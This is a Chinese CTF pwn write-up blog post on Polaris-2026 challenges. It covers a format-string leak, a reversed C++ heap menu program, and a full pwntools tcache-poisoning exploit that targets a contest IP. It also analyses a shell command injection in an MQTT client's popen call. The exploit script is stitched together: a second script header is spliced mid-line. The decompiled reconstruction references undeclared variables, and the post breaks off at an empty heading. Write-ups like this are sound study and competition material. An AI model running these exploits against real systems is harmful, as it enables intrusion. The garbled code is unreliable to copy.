数组越界 on RatherHard の Blog

Polaris-2026-pwn 题解

Wed, 22 Apr 2026 18:04:00 +0000

ez-nc

攻击思路

盲打，发现有格式化字符串漏洞，提示下载 ez-nc ，但是单文件名上限为 7 ，且禁止明文出现 “ez-nc”。因此考虑利用栈上的环境变量来下载 ez-nc 。

exp

输入 %99$s 后把文件 dump 下来反编译即可发现明文 flag

ezheap

ez 在哪了，，，

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/PolarisCTF/ezheap/inference_forge'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 FORTIFY: Enabled
 SHSTK: Enabled
 IBT: Enabled

IDA

去符号化，还是 C++ 逆向，，，还要还原结构体，，，

难点全在逆向上了

逆向结果：

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353


#include <iostream>
#include <cstring>

#define __int64 long long
#define uint32_t unsigned int
#define uint64_t unsigned long long
#define uint8_t unsigned char

struct session_handle // sizeof=0x50
{
 uint32_t slot_id;
 uint32_t payload_size;
 char *payload;
 char alias[32];
 uint64_t generation;
 void (*postproc)(session_handle *);
 uint64_t pad[2];
};

struct scheduler_ctrl // sizeof=0x48
{
 uint64_t magic_iforge;
 union {
 struct {
 uint8_t strict_policy;
 uint8_t healthy;
 };
 uint64_t task_list[8];
 };
};

struct task_descriptor // sizeof=0x50
{
 uint64_t task_id;
 uint64_t arg0;
 uint64_t pad10;
 void *handler; // alias[8:16]
 void *ctx;
 char tag[0x28];
};

struct worker_profile // sizeof=0x50
{
 uint64_t cpu_quota;
 uint64_t mem_quota;
 uint64_t io_weight;
 uint64_t latency_slo;
 uint64_t replicas;
 char memo[32];
 uint64_t region_code;
};

struct runtime_state // sizeof=0x190
{
 uint32_t artifact_items;
 uint32_t artifact_stride;
 uint32_t artifact_alloc_bytes;
 uint32_t pad;
 uint64_t artifact_declared_bytes;
 void *artifact_arena;
 scheduler_ctrl *scheduler;
 task_descriptor *task_desc[8];
 session_handle *sessions[16];
 uint64_t session_generation[16];
 uint8_t session_active[16];
 worker_profile **worker_profiles_begin;
 worker_profile **worker_profiles_end;
 worker_profile **worker_profiles_cap;
 worker_profile **worker_profiles_cap;
};

void session_postproc_xor_stride();
void audit_flag_snapshot();
void session_postproc_clamp_negative_bytes();
void session_postproc_shift_right();
void task_handler_echo_descriptor();
void task_handler_mul3();
void task_handler_xor_cookie();
void worker_vector_realloc_insert(worker_profile **begin, worker_profile **end, worker_profile *new_element);


// 3
__int64 bootstrap_scheduler(runtime_state *state)
{
 if ( state->scheduler )
 {
 std::cout << "scheduler already bootstrapped" << std::endl;
 return 0;
 }
 state->scheduler = (scheduler_ctrl *)malloc(0x38u);
 if ( state->scheduler )
 {
 state->scheduler->magic_iforge = 'IFORGE';
 *(_OWORD *)(v10 + 26) = 0;
 *((_WORD *)v10 + 4) = 257;
 *(_OWORD *)(v10 + 10) = 0;
 *(_OWORD *)(v10 + 40) = 0;
 int i = 0;
 while ( 1 )
 {
 task_descriptor *task_desc = (task_descriptor *)malloc(0x50u);
 if ( !task_desc )
 break;
 void *func;
 if ( i % 3 == 0 )
 func = task_handler_echo_descriptor;
 if ( i % 3 == 1 )
 func = task_handler_xor_cookie;
 if ( i % 3 == 2 )
 func = task_handler_mul3;
 task_desc->handler = func;
 task_desc->task_id = i;
 task_desc->arg0 = i + 1;
 task_desc->ctx = task_desc;
 snprintf(task_desc->tag, 32, "sqe-%zu", i);
 state->task_desc[i] = task_desc;
 *((_QWORD *)&state->scheduler + v17) = v16;
 if ( i == 7 )
 {
 std::cout << "scheduler bootstrap complete, strict_policy=on" << std::endl;
 return 0;
 }
 ++i;
 }
 std::cout << "task descriptor allocation failed" << std::endl;
 }
}

// 4
unsigned __int64 inspect_scheduler_queue(runtime_state *state)
{
 if ( state->scheduler )
 {
 std::cout << "queue_ctrl=" << &state->scheduler 
 << " strict_policy=" << state->scheduler->strict_policy 
 << " healthy=" << state->scheduler->healthy << std::endl;
 for ( int i = 0; i != 8; ++i )
 {
 std::cout << "[task " << i << "] desc=" << &state->task_desc[i] 
 << " handler=" << &state->task_desc[i]->handler 
 << " ctx=" << &state->task_desc[i]->ctx 
 << " tag='" << state->task_desc[i]->tag << "'" << std::endl;
 }
 }
 else
 {
 std::cout << "scheduler offline" << std::endl;
 }
 return 0;
}

// 5
unsigned __int64 allocate_session_tensor(runtime_state *state)
{
 int slot, tensor_bytes, alias;
 std::cout << "session.slot(0-15)> ";
 std::cin >> slot;
 std::cout << "session.tensor_bytes> ";
 std::cin >> tensor_bytes;
 std::cout << "session.alias> ";
 std::cin >> alias;
 if ( (unsigned int)slot <= 0xF )
 {
 session_handle *session = (session_handle *)malloc(0x50u);
 session->slot_id = slot;
 session->payload_size = tensor_bytes;
 session->payload = (char *)malloc(tensor_bytes);
 if ( session->payload )
 {
 memset((void *)session->payload, 65, tensor_bytes);
 snprintf(session->alias, 32, "%s", (const char *)alias);
 v16 = (char *)state + 8 * slot;
 v17 = *((_QWORD *)v16 + 29);
 *((_QWORD *)v16 + 13) = session;
 *((_QWORD *)v16 + 29) = ++v17;
 session->generation = v17;
 session->postproc = (void (*)(session_handle *))session_postproc_xor_stride;
 state->session_active[slot] = 1;
 std::cout << "session tensor ready slot=" << slot
 << " handle=" << &session 
 << " payload=" << &session->payload 
 << " postproc=" << &session->postproc << std::endl;
 }
 else
 {
 std::cout << "session tensor allocation failed" << std::endl;
 }
 }
 else
 std::cout << "session tensor request invalid" << std::endl;
 return 0;
}

// 6
unsigned __int64 complete_batch_inference(runtime_state *state)
{
 __int64 slot;

 std::cout << "ssession.slot> ";
 std::cin >> slot;

 if ( (unsigned int)slot > 0xF )
 {
 std::cout << "session slot invalid" << std::endl;
 return 0;
 }
 if ( !state->session_active[slot] )
 {
 std::cout << "session slot not active" << std::endl;
 return 0;
 }
 if ( !state->sessions[slot] )
 {
 std::cout << "session slot empty" << std::endl;
 return 0;
 }

 if ( state->sessions[slot]->payload )
 {
 if ( state->sessions[slot]->payload_size >= 2 )
 for ( int i = 1; i <= state->sessions[slot]->payload_size; i++)
 state->sessions[slot]->payload[i] ^= (13 * i);
 free(state->sessions[slot]->payload);
 }

 if ( (void (*)())state->sessions[slot]->postproc != session_postproc_clamp_negative_bytes
 && (void (*)())state->sessions[slot]->postproc != session_postproc_xor_stride
 && (void (*)())state->sessions[slot]->postproc != session_postproc_shift_right
 && state->sessions[slot]->postproc )
 {
 std::cout << "postproc profile invalid, fallback to default pipeline" << std::endl;
 state->sessions[slot]->postproc = (void (*)(session_handle *))session_postproc_xor_stride;
 }
 if ( state->sessions[slot]->postproc )
 state->sessions[slot]->postproc(state->sessions[slot]);

 operator delete(state->sessions[slot], 0x50u);
 state->session_active[slot] = 0;
 std::cout << "batch inference finalized, session recycled" << std::endl;
 return 0;
}

// 7
unsigned __int64 patch_session_metadata(runtime_state *state)
{
 int slot, qword_index, qword_value;
 std::cout << "diag.session.slot> ";
 std::cin >> slot;
 std::cout << "diag.qword_index> ";
 std::cin >> qword_index;
 std::cout << "diag.qword_value(u64)> ";
 std::cin >> qword_value;
 
 if ( slot <= 0xFu )
 {
 if ( !state->sessions[slot] )
 {
 std::cout << "session handle missing" << std::endl;
 return 0;
 }
 if ( state->session_active[slot] )
 std::cout << "diagnostic patch requires recycled session context" << std::endl;
 else
 {
 if ( !qword_index )
 {
 state->sessions[slot]->slot_id = qword_value; // tcache poisoning
 std::cout << "diagnostic patch applied at " << &state->sessions[slot] << std::endl;
 return 0;
 }
 std::cout << "diagnostic offset policy allows qword_index=0 only" << std::endl;
 }
 }
 else
 std::cout << "diagnostic patch args invalid" << std::endl;
 return 0;
}

// 8
unsigned __int64 provision_worker_profile(runtime_state *state)
{
 if ( (char *)state->worker_profiles_end - (char *)state->worker_profiles_begin <= 0x1f8 )
 {
 worker_profile *worker = (worker_profile *)malloc(0x50u);
 std::cout << "worker.cpu_quota> ";
 std::cin >> worker->cpu_quota;
 std::cout << "worker.mem_quota> ";
 std::cin >> worker->mem_quota;
 std::cout << "worker.io_weight> ";
 std::cin >> worker->io_weight;
 std::cout << "worker.latency_slo> ";
 std::cin >> worker->latency_slo;
 std::cout << "worker.replicas> ";
 std::cin >> worker->replicas;
 std::cout << "worker.region_code> ";
 std::cin >> worker->region_code;
 std::cout << "worker.memo> ";
 std::cin >> worker->memo;
 snprintf(worker->memo, 0x20u, "%s", worker->memo);
 if ( state->worker_profiles_end == state->worker_profiles_cap )
 {
 worker_vector_realloc_insert(state->worker_profiles_begin, state->worker_profiles_end, worker);
 }
 else
 {
 *state->worker_profiles_end = (worker_profile *)worker;
 state->worker_profiles_end = state->worker_profiles_end + 1;
 }
 std::cout << "worker profile provisioned handle=" << &worker 
 << " index=" << state->worker_profiles_end - state->worker_profiles_begin - 1 << std::endl;
 return 0;
 }
 std::cout << "autoscaler capacity reached" << std::endl;
 return 0;
}

// 9
unsigned __int64 dispatch_async_task(runtime_state *state)
{
 int task_id;
 
 if ( state->scheduler )
 {
 std::cout << "queue.task_id> ";
 std::cin >> task_id;
 if ( (unsigned int)task_id <= 7 )
 {
 if ( state->task_desc[task_id] && state->task_desc[task_id]->handler)
 {
 if ( state->task_desc[task_id]->handler == task_handler_xor_cookie
 || state->task_desc[task_id]->handler == task_handler_echo_descriptor
 || state->scheduler->strict_policy == 0
 || state->task_desc[task_id]->handler == task_handler_mul3 )
 {
 ((void (*)(void *))state->task_desc[task_id]->handler)(state->task_desc[task_id]->ctx);
 return 0;
 }
 std::cout << "policy engine blocked non-whitelisted handler" << std::endl;
 }
 else
 {
 std::cout << "task descriptor unavailable" << std::endl;
 }
 }
 else
 {
 std::cout << "task id invalid" << std::endl;
 }
 return 0;
 }
 std::cout << "scheduler offline" << std::endl;
 return 0;
}

好复杂的菜单题，，，

攻击思路

bootstrap_scheduler 用于初始化堆结构

inspect_scheduler_queue 把需要 leak 的数据送到嘴边

complete_batch_inference 函数有明显的 UAF 漏洞，对象为 state->sessions[slot]

patch_session_metadata 为 UAF 和 tcache poisoning 创造了极为有利的条件，可以说是刻意设计的

provision_worker_profile 允许通过结构体重叠写入较多的数据

dispatch_async_task 有函数指针的执行，注意到程序中已经有针对 flag 的读取行为，所以可以利用 provision_worker_profile 劫持该函数指针去跳转

劫持函数指针之前需要将 strict_policy 设置为 0 ，而 provision_worker_profile 也可以做到这一点

综上分析，直接打 tcache poisoning 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './pwn_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

libcoffsetdict = dict()
libcrealdict = dict()

def libcdict_add(name, addr):
 if addr > 0x1000000:
 libcrealdict[name] = addr
 addr %= 0x1000
 libcoffsetdict[name] = addr

def getlibc():
 global libc
 if not debug:
 libc = ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))

def initlibc():
 if not debug:
 subprocess.run(['cp', libc.path, './libc.so.6'])
 subprocess.run(['pwninit', '--no-template'])

target = '60.205.163.215'from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './inference_forge_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def safe_linking(pos, val):
 return (pos >> 12) ^ val

def bootstrap_scheduler():
 sla(b'gateway> ', b'3')

def inspect_scheduler_queue():
 sla(b'gateway> ', b'4')

def allocate_session_tensor(slot, tensor_bytes, alias):
 sla(b'gateway> ', b'5')
 sla(b'session.slot(0-15)> ', str(slot).encode())
 sla(b'session.tensor_bytes> ', str(tensor_bytes).encode())
 sla(b'session.alias> ', alias)

def complete_batch_inference(slot):
 sla(b'gateway> ', b'6')
 sla(b'session.slot> ', str(slot).encode())

def patch_session_metadata(slot, qword_index, qword_value):
 sla(b'gateway> ', b'7')
 sla(b'diag.session.slot> ', str(slot).encode())
 sla(b'diag.qword_index> ', str(qword_index).encode())
 sla(b'diag.qword_value(u64)> ', str(qword_value).encode())

def provision_worker_profile(cpu_quota, mem_quota, io_weight, latency_slo, replicas, region_code, memo):
 sla(b'gateway> ', b'8')
 sla(b'worker.cpu_quota> ', str(cpu_quota).encode())
 sla(b'worker.mem_quota> ', str(mem_quota).encode())
 sla(b'worker.io_weight> ', str(io_weight).encode())
 sla(b'worker.latency_slo> ', str(latency_slo).encode())
 sla(b'worker.replicas> ', str(replicas).encode())
 sla(b'worker.region_code> ', str(region_code).encode())
 sla(b'worker.memo> ', memo)

def dispatch_async_task(task_id):
 sla(b'gateway> ', b'9')
 sla(b'queue.task_id> ', str(task_id).encode())

bootstrap_scheduler() # leak
inspect_scheduler_queue()
ru(b'[task:0] desc=')
heap_leak = int(r(14), 16) - 0x30560
leak('heap_leak')
ru(b'handler=')
pie_leak = int(r(14), 16) - 0x30a0
leak('pie_leak')

allocate_session_tensor(0, 3, p64(0)) # init
allocate_session_tensor(1, 3, p64(0))
allocate_session_tensor(2, 3, p64(0))
allocate_session_tensor(3, 3, p64(0))
allocate_session_tensor(4, 3, p64(0))
complete_batch_inference(1)
complete_batch_inference(2)
complete_batch_inference(3)
complete_batch_inference(4)

complete_batch_inference(0) # tcache poisoning, hijack strict_policy
patch_session_metadata(0, 0, safe_linking(heap_leak + 0x30860, heap_leak + 0xb0))
allocate_session_tensor(0, 3, p64(0))
provision_worker_profile(heap_leak + 0x30510, 0, 0, 0, 0, 0, p64(0))
provision_worker_profile(0, 0, 0, 0, 0, 0, p64(0))
inspect_scheduler_queue()

complete_batch_inference(0) # tcache poisoning, hijack handler
patch_session_metadata(0, 0, safe_linking(heap_leak + 0x30860, heap_leak + 0xb0))
allocate_session_tensor(0, 3, p64(0))
provision_worker_profile(heap_leak + 0x30560, 0, 0, 0, 0, 0, p64(0))
provision_worker_profile(0, 0, 0, pie_leak + 0x6750, 0, 0, p64(0))
inspect_scheduler_queue()

dispatch_async_task(0)
itr()

mini-mqtt

第一次写 mqtt 的题目

IDA

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


int __fastcall main(int argc, const char **argv, const char **envp)
{
 const char *mqtt_ip; // rax
 const char *v5; // [rsp+18h] [rbp-8h]

 if ( argc <= 1 )
 mqtt_ip = "tcp://localhost:9999";
 else
 mqtt_ip = argv[1];
 v5 = mqtt_ip;
 printf("Using server at %s\n", mqtt_ip);
 rc = MQTTClient_create(&client, v5, "httpclient", 1, 0);
 if ( rc )
 {
 printf("Failed to create client, return code %d\n", rc);
 rc = 1;
 }
 else
 {
 rc = MQTTClient_setCallbacks(client, 0, connlost, msgarrvd, delivered);
 if ( rc )
 {
 printf("Failed to set callbacks, return code %d\n", rc);
 rc = 1;
 }
 else
 {
 dword_5028 = 20;
 dword_502C = 1;
 rc = MQTTClient_connect(client, conn_opts);
 if ( !rc )
 {
 MQTTClient_subscribe(client, "HTTP", 1);
 while ( 1 )
 {
 sleep(1u);
 msgsend("200");
 puts("waiting for message\n");
 }
 }
 printf("Failed to connect, return code %d\n", rc);
 rc = 1;
 }
 MQTTClient_destroy(&client);
 }
 return rc;
}

这是一个客户端程序，服务端呢？自己搭。

该客户端订阅了 “HTTP” topic

核心在 rc = MQTTClient_setCallbacks(client, 0, connlost, msgarrvd, delivered);

其中 msgarrvd 函数是客户端收到 topic 后的响应

msgarrvd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


__int64 __fastcall msgarrvd(__int64 a1, const char *a2, int a3, __int64 a4)
{
 __int64 v5; // [rsp+0h] [rbp-80h] BYREF
 int v6; // [rsp+Ch] [rbp-74h]
 const char *v7; // [rsp+10h] [rbp-70h]
 __int64 v8; // [rsp+18h] [rbp-68h]
 __int64 v9; // [rsp+28h] [rbp-58h]
 char s1[72]; // [rsp+30h] [rbp-50h] BYREF
 unsigned __int64 v11; // [rsp+78h] [rbp-8h]

 v8 = a1;
 v7 = a2;
 v6 = a3;
 v5 = a4;
 v11 = __readfsqword(0x28u);
 v9 = *(_QWORD *)(a4 + 16);
 if ( (unsigned int)__isoc99_sscanf(v9, "{\"clientid\":\"%63[^\"]\",", s1) == 1 && !strcmp(s1, "httpclient") )// {"clientid":"hacker"}
 {
 MQTTClient_freeMessage(&v5);
 MQTTClient_free(v7);
 return 1;
 }
 else
 {
 http(v9);
 puts("Message arrived");
 printf(" topic: %s\n", v7);
 printf(" message: %.*s\n", *(_DWORD *)(v5 + 8), *(const char **)(v5 + 16));
 MQTTClient_freeMessage(&v5);
 MQTTClient_free(v7);
 return 1;
 }
}

由此可见，这道题目需要我们去构造恶意 topic 信息，让客户端在解析信息的过程中回弹 flag 的内容

这里还要求 clientid 不为 httpclient ，因为这是他自身的 id

然后就套了一层 http 的解析

http

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250


__int64 __fastcall http(const char *a1)
{
 size_t v2; // rax
 size_t v3; // rbx
 int v4; // [rsp+10h] [rbp-280h] BYREF
 int v5; // [rsp+14h] [rbp-27Ch]
 int i; // [rsp+18h] [rbp-278h]
 int v7; // [rsp+1Ch] [rbp-274h]
 FILE *stream; // [rsp+20h] [rbp-270h]
 char *v9; // [rsp+28h] [rbp-268h]
 char s1[8]; // [rsp+30h] [rbp-260h] BYREF
 __int64 v11; // [rsp+38h] [rbp-258h]
 __int64 v12; // [rsp+40h] [rbp-250h]
 __int64 v13; // [rsp+48h] [rbp-248h]
 __int64 v14; // [rsp+50h] [rbp-240h]
 __int64 v15; // [rsp+58h] [rbp-238h]
 __int64 v16; // [rsp+60h] [rbp-230h]
 __int64 v17; // [rsp+68h] [rbp-228h]
 char s[8]; // [rsp+70h] [rbp-220h] BYREF
 __int64 v19; // [rsp+78h] [rbp-218h]
 __int64 v20; // [rsp+80h] [rbp-210h]
 __int64 v21; // [rsp+88h] [rbp-208h]
 __int64 v22; // [rsp+90h] [rbp-200h]
 __int64 v23; // [rsp+98h] [rbp-1F8h]
 __int64 v24; // [rsp+A0h] [rbp-1F0h]
 __int64 v25; // [rsp+A8h] [rbp-1E8h]
 __int64 v26; // [rsp+B0h] [rbp-1E0h]
 __int64 v27; // [rsp+B8h] [rbp-1D8h]
 __int64 v28; // [rsp+C0h] [rbp-1D0h]
 __int64 v29; // [rsp+C8h] [rbp-1C8h]
 __int64 v30; // [rsp+D0h] [rbp-1C0h]
 __int64 v31; // [rsp+D8h] [rbp-1B8h]
 __int64 v32; // [rsp+E0h] [rbp-1B0h]
 __int64 v33; // [rsp+E8h] [rbp-1A8h]
 char src[8]; // [rsp+F0h] [rbp-1A0h] BYREF
 __int64 v35; // [rsp+F8h] [rbp-198h]
 __int64 v36; // [rsp+100h] [rbp-190h]
 __int64 v37; // [rsp+108h] [rbp-188h]
 __int64 v38; // [rsp+110h] [rbp-180h]
 __int64 v39; // [rsp+118h] [rbp-178h]
 __int64 v40; // [rsp+120h] [rbp-170h]
 __int64 v41; // [rsp+128h] [rbp-168h]
 __int64 v42; // [rsp+130h] [rbp-160h]
 __int64 v43; // [rsp+138h] [rbp-158h]
 __int64 v44; // [rsp+140h] [rbp-150h]
 __int64 v45; // [rsp+148h] [rbp-148h]
 __int64 v46; // [rsp+150h] [rbp-140h]
 __int64 v47; // [rsp+158h] [rbp-138h]
 __int64 v48; // [rsp+160h] [rbp-130h]
 __int64 v49; // [rsp+168h] [rbp-128h]
 char v50[8]; // [rsp+170h] [rbp-120h] BYREF
 __int64 v51; // [rsp+178h] [rbp-118h]
 __int64 v52; // [rsp+180h] [rbp-110h]
 __int64 v53; // [rsp+188h] [rbp-108h]
 __int64 v54; // [rsp+190h] [rbp-100h]
 __int64 v55; // [rsp+198h] [rbp-F8h]
 __int64 v56; // [rsp+1A0h] [rbp-F0h]
 __int64 v57; // [rsp+1A8h] [rbp-E8h]
 __int64 v58; // [rsp+1B0h] [rbp-E0h]
 __int64 v59; // [rsp+1B8h] [rbp-D8h]
 __int64 v60; // [rsp+1C0h] [rbp-D0h]
 __int64 v61; // [rsp+1C8h] [rbp-C8h]
 __int64 v62; // [rsp+1D0h] [rbp-C0h]
 __int64 v63; // [rsp+1D8h] [rbp-B8h]
 __int64 v64; // [rsp+1E0h] [rbp-B0h]
 __int64 v65; // [rsp+1E8h] [rbp-A8h]
 __int64 v66; // [rsp+1F0h] [rbp-A0h]
 __int64 v67; // [rsp+1F8h] [rbp-98h]
 __int64 v68; // [rsp+200h] [rbp-90h]
 __int64 v69; // [rsp+208h] [rbp-88h]
 __int64 v70; // [rsp+210h] [rbp-80h]
 __int64 v71; // [rsp+218h] [rbp-78h]
 __int64 v72; // [rsp+220h] [rbp-70h]
 __int64 v73; // [rsp+228h] [rbp-68h]
 __int64 v74; // [rsp+230h] [rbp-60h]
 __int64 v75; // [rsp+238h] [rbp-58h]
 __int64 v76; // [rsp+240h] [rbp-50h]
 __int64 v77; // [rsp+248h] [rbp-48h]
 __int64 v78; // [rsp+250h] [rbp-40h]
 __int64 v79; // [rsp+258h] [rbp-38h]
 __int64 v80; // [rsp+260h] [rbp-30h]
 __int64 v81; // [rsp+268h] [rbp-28h]
 unsigned __int64 v82; // [rsp+278h] [rbp-18h]

 v82 = __readfsqword(0x28u);
 *(_QWORD *)s1 = 0;
 v11 = 0;
 v12 = 0;
 v13 = 0;
 v14 = 0;
 v15 = 0;
 v16 = 0;
 v17 = 0;
 *(_QWORD *)s = 0;
 v19 = 0;
 v20 = 0;
 v21 = 0;
 v22 = 0;
 v23 = 0;
 v24 = 0;
 v25 = 0;
 *(_QWORD *)src = 0;
 v35 = 0;
 v36 = 0;
 v37 = 0;
 v38 = 0;
 v39 = 0;
 v40 = 0;
 v41 = 0;
 v42 = 0;
 v43 = 0;
 v44 = 0;
 v45 = 0;
 v46 = 0;
 v47 = 0;
 v48 = 0;
 v49 = 0;
 v26 = 0;
 v27 = 0;
 v28 = 0;
 v29 = 0;
 v30 = 0;
 v31 = 0;
 v32 = 0;
 v33 = 0;
 v5 = 0;
 v7 = 0;
 stream = 0;
 *(_QWORD *)v50 = 0;
 v51 = 0;
 v52 = 0;
 v53 = 0;
 v54 = 0;
 v55 = 0;
 v56 = 0;
 v57 = 0;
 v58 = 0;
 v59 = 0;
 v60 = 0;
 v61 = 0;
 v62 = 0;
 v63 = 0;
 v64 = 0;
 v65 = 0;
 v66 = 0;
 v67 = 0;
 v68 = 0;
 v69 = 0;
 v70 = 0;
 v71 = 0;
 v72 = 0;
 v73 = 0;
 v74 = 0;
 v75 = 0;
 v76 = 0;
 v77 = 0;
 v78 = 0;
 v79 = 0;
 v80 = 0;
 v81 = 0;
 v4 = 0;
 if ( (unsigned int)__isoc99_sscanf(a1, "{\"clientid\":\"%63[^\"]\"", s1) == 1 && !strcmp(s1, "httpclient") )// no httpclient
 return 1;
 if ( (unsigned int)__isoc99_sscanf(a1, "GET /home/ctf/%63[^ \"\r\n/]", s) == 1 )
 {
 v5 = 1;
 }
 else if ( (unsigned int)__isoc99_sscanf(a1, "GET %*[^/]/ctf/%63[^ \"\r\n/]", s) == 1 )
 {
 v5 = 1;
 }
 else if ( (unsigned int)__isoc99_sscanf(a1, "GET %*s/ctf/\"%63[^\"]\"", s) == 1 )
 {
 v5 = 1;
 }
 else if ( strstr(a1, "/ctf/") )
 {
 v9 = strstr(a1, "/ctf/") + 5;
 __isoc99_sscanf(v9, "%63[^ \"\r\n/]", s);
 v5 = 1;
 }
 if ( v5 )
 {
 if ( (unsigned int)__isoc99_sscanf(a1, "GET %*s HTTP/1.1\r\nHost: %*s\r\nContentLength: %d\r\n", &v4) == 1 )
 {
 printf("find length: %d\n", v4);
 v2 = strlen(s);
 if ( v2 > v4 )
 {
 puts("file name length exceeds contentlength");
 return 0;
 }
 if ( v4 > 10 )
 {
 puts("contentlength too long");
 return 0;
 }
 }
 else
 {
 puts("ContentLength not found");
 v5 = 0;
 }
 for ( i = 0; ; ++i )
 {
 v3 = i;
 if ( v3 >= strlen(s) )
 break;
 if ( s[i] == '/' || s[i] == '.' )
 s[i] = '_';
 }
 snprintf(src, 0x80u, "cat /home/ctf/%s", s);
 v7 = strlen(src);
 memcpy(cmd, src, v7);
 if ( !strcmp(s, "index_html") ) // is index_html
 {
 if ( v5 )
 stream = popen(cmd, "r");
 if ( stream )
 {
 while ( fgets(v50, 255, stream) )
 {
 v50[strcspn(v50, "\n")] = 0;
 if ( v50[0] )
 {
 msgsend(v50);
 memset(v50, 0, 0x100u);
 }
 }
 pclose(stream);
 }
 else
 {
 msgsend("403");
 }
 return 1;
 }
 else
 {
 puts("fault2");
 return 0;
 }
 }
 else
 {
 puts("fault");
 puts("404");
 return 0;
 }
}

协议的格式就是正常 http 协议的格式

注意这一段：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


 for ( i = 0; ; ++i )
 {
 v3 = i;
 if ( v3 >= strlen(s) )
 break;
 if ( s[i] == '/' || s[i] == '.' )
 s[i] = '_';
 }
 snprintf(src, 0x80u, "cat /home/ctf/%s", s);
 v7 = strlen(src);
 memcpy(cmd, src, v7);
 if ( !strcmp(s, "index_html") ) // is index_html
 {
 if ( v5 )
 stream = popen(cmd, "r");

src 中只能是 index_html 的格式，但发现校验的对象是 src ，而被执行的是 cmd ，且 cmd 在校验前已经赋值好，在校验失败后会残留，所以我们可以利用 shell 中 ‘;’ 的作用完成漏洞的利用

攻击思路

